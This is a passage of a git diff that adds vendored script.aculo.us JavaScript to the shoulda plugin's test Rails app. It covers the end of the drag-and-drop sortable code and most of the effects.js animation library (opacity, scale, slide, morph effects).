[]).map( function(item) { + return item.id.match(options.format) ? item.id.match(options.format)[1] : ''; + }); + }, + + setSequence: function(element, new_sequence) { + element = $(element); + var options = Object.extend(this.options(element), arguments[2] || {}); + + var nodeMap = {}; + this.findElements(element, options).each( function(n) { + if (n.id.match(options.format)) + nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode]; + n.parentNode.removeChild(n); + }); + + new_sequence.each(function(ident) { + var n = nodeMap[ident]; + if (n) { + n[1].appendChild(n[0]); + delete nodeMap[ident]; + } + }); + }, + + serialize: function(element) { + element = $(element); + var options = Object.extend(Sortable.options(element), arguments[1] || {}); + var name = encodeURIComponent( + (arguments[1] && arguments[1].name) ? arguments[1].name : element.id); + + if (options.tree) { + return Sortable.tree(element, arguments[1]).children.map( function (item) { + return [name + Sortable._constructIndex(item) + "[id]=" + + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee)); + }).flatten().join('&'); + } else { + return Sortable.sequence(element, arguments[1]).map( function(item) { + return name + "[]=" + encodeURIComponent(item); + }).join('&'); + } + } +} + +// Returns true if child is contained within element +Element.isParent = function(child, element) { + if (!child.parentNode || child == element) return false; + if (child.parentNode == element) return true; + return Element.isParent(child.parentNode, element); +} + +Element.findChildren = function(element, only, recursive, tagName) { + if(!element.hasChildNodes()) return null; + tagName = tagName.toUpperCase(); + if(only) only = [only].flatten(); + var elements = []; + $A(element.childNodes).each( function(e) { + if(e.tagName && e.tagName.toUpperCase()==tagName && + (!only || (Element.classNames(e).detect(function(v) { return only.include(v) })))) + elements.push(e); + if(recursive) { + var grandchildren = Element.findChildren(e, only, recursive, tagName); + if(grandchildren) elements.push(grandchildren); + } + }); + + return (elements.length>0 ? elements.flatten() : []); +} + +Element.offsetSize = function (element, type) { + return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')]; +} diff --git a/vendor/plugins/shoulda/test/rails_root/public/javascripts/effects.js b/vendor/plugins/shoulda/test/rails_root/public/javascripts/effects.js new file mode 100644 index 0000000..3b02eda --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/javascripts/effects.js @@ -0,0 +1,1088 @@ +// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + var color = '#'; + if(this.slice(0,4) == 'rgb(') { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if(this.slice(0,1) == '#') { + if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if(this.length==7) color = this.toLowerCase(); + } + } + return(color.length==7 ? color : (arguments[0] || this)); +} + +/*--------------------------------------------------------------------------*/ + +Element.collectTextNodes = function(element) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + (node.hasChildNodes() ? Element.collectTextNodes(node) : '')); + }).flatten().join(''); +} + +Element.collectTextNodesIgnoreClass = function(element, className) { + return $A($(element).childNodes).collect( function(node) { + return (node.nodeType==3 ? node.nodeValue : + ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? + Element.collectTextNodesIgnoreClass(node, className) : '')); + }).flatten().join(''); +} + +Element.setContentZoom = function(element, percent) { + element = $(element); + element.setStyle({fontSize: (percent/100) + 'em'}); + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + return element; +} + +Element.getOpacity = function(element){ + element = $(element); + var opacity; + if (opacity = element.getStyle('opacity')) + return parseFloat(opacity); + if (opacity = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) + if(opacity[1]) return parseFloat(opacity[1]) / 100; + return 1.0; +} + +Element.setOpacity = function(element, value){ + element= $(element); + if (value == 1){ + element.setStyle({ opacity: + (/Gecko/.test(navigator.userAgent) && !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? + 0.999999 : 1.0 }); + if(/MSIE/.test(navigator.userAgent) && !window.opera) + element.setStyle({filter: Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'')}); + } else { + if(value < 0.00001) value = 0; + element.setStyle({opacity: value}); + if(/MSIE/.test(navigator.userAgent) && !window.opera) + element.setStyle( + { filter: element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,'') + + 'alpha(opacity='+value*100+')' }); + } + return element; +} + +Element.getInlineOpacity = function(element){ + return $(element).style.opacity || ''; +} + +Element.forceRerendering = function(element) { + try { + element = $(element); + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch(e) { } +}; + +/*--------------------------------------------------------------------------*/ + +Array.prototype.call = function() { + var args = arguments; + this.each(function(f){ f.apply(this, args) }); +} + +/*--------------------------------------------------------------------------*/ + +var Effect = { + _elementDoesNotExistError: { + name: 'ElementDoesNotExistError', + message: 'The specified DOM element does not exist, but is required for this effect to operate' + }, + tagifyText: function(element) { + if(typeof Builder == 'undefined') + throw("Effect.tagifyText requires including script.aculo.us' builder.js library"); + + var tagifyStyle = 'position:relative'; + if(/MSIE/.test(navigator.userAgent) && !window.opera) tagifyStyle += ';zoom:1'; + + element = $(element); + $A(element.childNodes).each( function(child) { + if(child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + Builder.node('span',{style: tagifyStyle}, + character == ' ' ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if(((typeof element == 'object') || + (typeof element == 'function')) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || {}); + var masterDelay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay })); + }); + }, + PAIRS: { + 'slide': ['SlideDown','SlideUp'], + 'blind': ['BlindDown','BlindUp'], + 'appear': ['Appear','Fade'] + }, + toggle: function(element, effect) { + element = $(element); + effect = (effect || 'appear').toLowerCase(); + var options = Object.extend({ + queue: { position:'end', scope:(element.id || 'global'), limit: 1 } + }, arguments[2] || {}); + Effect[element.visible() ? + Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options); + } +}; + +var Effect2 = Effect; // deprecated + +/* ------------- transitions ------------- */ + +Effect.Transitions = { + linear: Prototype.K, + sinoidal: function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 0.5; + }, + reverse: function(pos) { + return 1-pos; + }, + flicker: function(pos) { + return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; + }, + wobble: function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; + }, + pulse: function(pos, pulses) { + pulses = pulses || 5; + return ( + Math.round((pos % (1/pulses)) * pulses) == 0 ? + ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) : + 1 - ((pos * pulses * 2) - Math.floor(pos * pulses * 2)) + ); + }, + none: function(pos) { + return 0; + }, + full: function(pos) { + return 1; + } +}; + +/* ------------- core effects ------------- */ + +Effect.ScopedQueue = Class.create(); +Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), { + initialize: function() { + this.effects = []; + this.interval = null; + }, + _each: function(iterator) { + this.effects._each(iterator); + }, + add: function(effect) { + var timestamp = new Date().getTime(); + + var position = (typeof effect.options.queue == 'string') ? + effect.options.queue : effect.options.queue.position; + + switch(position) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'with-last': + timestamp = this.effects.pluck('startOn').max() || timestamp; + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + + if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) + this.effects.push(effect); + + if(!this.interval) + this.interval = setInterval(this.loop.bind(this), 40); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if(this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + this.effects.invoke('loop', timePos); + } +}); + +Effect.Queues = { + instances: $H(), + get: function(queueName) { + if(typeof queueName != 'string') return queueName; + + if(!this.instances[queueName]) + this.instances[queueName] = new Effect.ScopedQueue(); + + return this.instances[queueName]; + } +} +Effect.Queue = Effect.Queues.get('global'); + +Effect.DefaultOptions = { + transition: Effect.Transitions.sinoidal, + duration: 1.0, // seconds + fps: 25.0, // max. 25fps due to Effect.Queue implementation + sync: false, // true for combining + from: 0.0, + to: 1.0, + delay: 0.0, + queue: 'parallel' +} + +Effect.Base = function() {}; +Effect.Base.prototype = { + position: null, + start: function(options) { + this.options = Object.extend(Object.extend({},Effect.DefaultOptions), options || {}); + this.currentFrame = 0; + this.state = 'idle'; + this.startOn = this.options.delay*1000; + this.finishOn = this.startOn + (this.options.duration*1000); + this.event('beforeStart'); + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).add(this); + }, + loop: function(timePos) { + if(timePos >= this.startOn) { + if(timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if(this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); + var frame = Math.round(pos * this.options.fps * this.options.duration); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + render: function(pos) { + if(this.state == 'idle') { + this.state = 'running'; + this.event('beforeSetup'); + if(this.setup) this.setup(); + this.event('afterSetup'); + } + if(this.state == 'running') { + if(this.options.transition) pos = this.options.transition(pos); + pos *= (this.options.to-this.options.from); + pos += this.options.from; + this.position = pos; + this.event('beforeUpdate'); + if(this.update) this.update(pos); + this.event('afterUpdate'); + } + }, + cancel: function() { + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if(this.options[eventName]) this.options[eventName](this); + }, + inspect: function() { + return '#'; + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if(effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Event = Class.create(); +Object.extend(Object.extend(Effect.Event.prototype, Effect.Base.prototype), { + initialize: function() { + var options = Object.extend({ + duration: 0 + }, arguments[0] || {}); + this.start(options); + }, + update: Prototype.emptyFunction +}); + +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + // make this work on IE on elements without 'layout' + if(/MSIE/.test(navigator.userAgent) && !window.opera && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + var options = Object.extend({ + from: this.element.getOpacity() || 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + this.element.setOpacity(position); + } +}); + +Effect.Move = Class.create(); +Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + x: 0, + y: 0, + mode: 'relative' + }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Bug in Opera: Opera returns the "real" position of a static element or + // relative element that does not have top/left explicitly set. + // ==> Always set top and left for position relative elements in your stylesheets + // (to 0 if you do not need them) + this.element.makePositioned(); + this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); + this.originalTop = parseFloat(this.element.getStyle('top') || '0'); + if(this.options.mode == 'absolute') { + // absolute movement, so we need to calc deltaX and deltaY + this.options.x = this.options.x - this.originalLeft; + this.options.y = this.options.y - this.originalTop; + } + }, + update: function(position) { + this.element.setStyle({ + left: Math.round(this.options.x * position + this.originalLeft) + 'px', + top: Math.round(this.options.y * position + this.originalTop) + 'px' + }); + } +}); + +// for backwards compatibility +Effect.MoveBy = function(element, toTop, toLeft) { + return new Effect.Move(element, + Object.extend({ x: toLeft, y: toTop }, arguments[3] || {})); +}; + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || {}); + this.start(options); + }, + setup: function() { + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = this.element.getStyle('position'); + + this.originalStyle = {}; + ['top','left','width','height','fontSize'].each( function(k) { + this.originalStyle[k] = this.element.style[k]; + }.bind(this)); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = this.element.getStyle('font-size') || '100%'; + ['em','px','%','pt'].each( function(fontSizeType) { + if(fontSize.indexOf(fontSizeType)>0) { + this.fontSize = parseFloat(fontSize); + this.fontSizeType = fontSizeType; + } + }.bind(this)); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if(this.options.scaleMode=='box') + this.dims = [this.element.offsetHeight, this.element.offsetWidth]; + if(/^content/.test(this.options.scaleMode)) + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if(!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.fontSize) + this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if(this.restoreAfterFinish) this.element.setStyle(this.originalStyle); + }, + setDimensions: function(height, width) { + var d = {}; + if(this.options.scaleX) d.width = Math.round(width) + 'px'; + if(this.options.scaleY) d.height = Math.round(height) + 'px'; + if(this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if(this.elementPositioning == 'absolute') { + if(this.options.scaleY) d.top = this.originalTop-topd + 'px'; + if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; + } else { + if(this.options.scaleY) d.top = -topd + 'px'; + if(this.options.scaleX) d.left = -leftd + 'px'; + } + } + this.element.setStyle(d); + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Prevent executing on elements not in the layout flow + if(this.element.getStyle('display')=='none') { this.cancel(); return; } + // Disable background image during the effect + this.oldStyle = { + backgroundImage: this.element.getStyle('background-image') }; + this.element.setStyle({backgroundImage: 'none'}); + if(!this.options.endcolor) + this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); + if(!this.options.restorecolor) + this.options.restorecolor = this.element.getStyle('background-color'); + // init color calculations + this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); + this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); + }, + update: function(position) { + this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ + return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) }); + }, + finish: function() { + this.element.setStyle(Object.extend(this.oldStyle, { + backgroundColor: this.options.restorecolor + })); + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + this.start(arguments[1] || {}); + }, + setup: function() { + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + if(this.options.offset) offsets[1] += this.options.offset; + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + var options = Object.extend({ + from: element.getOpacity() || 1.0, + to: 0.0, + afterFinishInternal: function(effect) { + if(effect.options.to!=0) return; + effect.element.hide().setStyle({opacity: oldOpacity}); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + element = $(element); + var options = Object.extend({ + from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), + to: 1.0, + // force Safari to render floated elements properly + afterFinishInternal: function(effect) { + effect.element.forceRerendering(); + }, + beforeSetup: function(effect) { + effect.element.setOpacity(effect.options.from).show(); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + element = $(element); + var oldStyle = { + opacity: element.getInlineOpacity(), + position: element.getStyle('position'), + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height + }; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) { + Position.absolutize(effect.effects[0].element) + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().setStyle(oldStyle); } + }, arguments[1] || {}) + ); +} + +Effect.BlindUp = function(element) { + element = $(element); + element.makeClipping(); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + element = $(element); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + } + }, arguments[1] || {})); +} + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + return new Effect.Appear(element, Object.extend({ + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity}); + } + }) + } + }, arguments[1] || {})); +} + +Effect.DropOut = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left'), + opacity: element.getInlineOpacity() }; + return new Effect.Parallel( + [ new Effect.Move(element, {x: 0, y: 100, sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + effect.effects[0].element.makePositioned(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle); + } + }, arguments[1] || {})); +} + +Effect.Shake = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left') }; + return new Effect.Move(element, + { x: 20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + effect.element.undoPositioned().setStyle(oldStyle); + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element).cleanWhitespace(); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + var oldInnerBottom = element.down().getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: window.opera ? 0 : 1, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + effect.element.down().makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping().setStyle({height: '0px'}).show(); + }, + afterUpdateInternal: function(effect) { + effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping().undoPositioned(); + effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element).cleanWhitespace(); + var oldInnerBottom = element.down().getStyle('bottom'); + return new Effect.Scale(element, window.opera ? 0 : 1, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + restoreAfterFinish: true, + beforeStartInternal: function(effect) { + effect.element.makePositioned(); + effect.element.down().makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping().show(); + }, + afterUpdateInternal: function(effect) { + effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned().setStyle({bottom: oldInnerBottom}); + effect.element.down().undoPositioned(); + } + }, arguments[1] || {}) + ); +} + +// Bug in opera makes the TD containing this element expand for a instance after finish +Effect.Squish = function(element) { + return new Effect.Scale(element, window.opera ? 1 : 0, { + restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.full + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = dims.width; + initialMoveY = moveY = 0; + moveX = -dims.width; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = dims.height; + moveY = -dims.height; + break; + case 'bottom-right': + initialMoveX = dims.width; + initialMoveY = dims.height; + moveX = -dims.width; + moveY = -dims.height; + break; + case 'center': + initialMoveX = dims.width / 2; + initialMoveY = dims.height / 2; + moveX = -dims.width / 2; + moveY = -dims.height / 2; + break; + } + + return new Effect.Move(element, { + x: initialMoveX, + y: initialMoveY, + duration: 0.01, + beforeSetup: function(effect) { + effect.element.hide().makeClipping().makePositioned(); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), + new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + effect.effects[0].element.setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); + } + }, options) + ) + } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.none + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = dims.width; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = dims.height; + break; + case 'bottom-right': + moveX = dims.width; + moveY = dims.height; + break; + case 'center': + moveX = dims.width / 2; + moveY = dims.height / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), + new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + effect.effects[0].element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); } + }, options) + ); +} + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || {}; + var oldOpacity = element.getInlineOpacity(); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 2.0, from: 0, + afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + element = $(element); + var oldStyle = { + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height }; + element.makeClipping(); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().setStyle(oldStyle); + } }); + }}, arguments[1] || {})); +}; + +Effect.Morph = Class.create(); +Object.extend(Object.extend(Effect.Morph.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + if(!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + style: '' + }, arguments[1] || {}); + this.start(options); + }, + setup: function(){ + function parseColor(color){ + if(!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff'; + color = color.parseColor(); + return $R(0,2).map(function(i){ + return parseInt( color.slice(i*2+1,i*2+3), 16 ) + }); + } + this.transforms = this.options.style.parseStyle().map(function(property){ + var originalValue = this.element.getStyle(property[0]); + return $H({ + style: property[0], + originalValue: property[1].unit=='color' ? + parseColor(originalValue) : parseFloat(originalValue || 0), + targetValue: property[1].unit=='color' ? + parseColor(property[1].value) : property[1].value, + unit: property[1].unit + }); + }.bind(this)).reject(function(transform){ + return ( + (transform.originalValue == transform.targetValue) || + ( + transform.unit != 'color' && + (isNaN(transform.originalValue) || isNaN(transform.targetValue)) + ) + ) + }); + }, + update: function(position) { + var style = $H(), value = null; + this.transforms.each(function(transform){ + value = transform.unit=='color' ? + $R(0,2).inject('#',function(m,v,i){ + return m+(Math.round(transform.originalValue[i]+ + (transform.targetValue[i] - transform.originalValue[i])*position)).toColorPart() }) : + transform.originalValue + Math.round( + ((transform.targetValue - transform.originalValue) * position) * 1000)/1000 + transform.unit; + style[transform.style] = value; + }); + this.element.setStyle(style); + } +}); + +Effect.Transform = Class.create(); +Object.extend(Effect.Transform.prototype, { + initialize: function(tracks){ + this.tracks = []; + this.options = arguments[1] || {}; + this.addTracks(tracks); + }, + addTracks: function(tracks){ + tracks.each(function(track){ + var data = $H(track).values().first(); + this.tracks.push($H({ + ids: $H(track).keys().first(), + effect: Effect.Morph, + options: { style: data } + })); + }.bind(this)); + return this; + }, + play: function(){ + return new Effect.Parallel( + this.tracks.map(function(track){ + var elements = [$(track.ids) || $$(track.ids)].flatten(); + return elements.map(function(e){ return new track.effect(e, Object.extend({ sync:true }, track.options)) }); + }).flatten(), + this.options + ); + } +}); + +Element.CSS_PROPERTIES = ['azimuth', 'backgroundAttachment', 'backgroundColor', 'backgroundImage', + 'backgroundPosition', 'backgroundRepeat', 'borderBottomColor', 'borderBottomStyle', + 'borderBottomWidth', 'borderCollapse', 'borderLeftColor', 'borderLeftStyle', 'borderLeftWidth', + 'borderRightColor', 'borderRightStyle', 'borderRightWidth', 'borderSpacing', 'borderTopColor', + 'borderTopStyle', 'borderTopWidth', 'bottom', 'captionSide', 'clear', 'clip', 'color', 'content', + 'counterIncrement', 'counterReset', 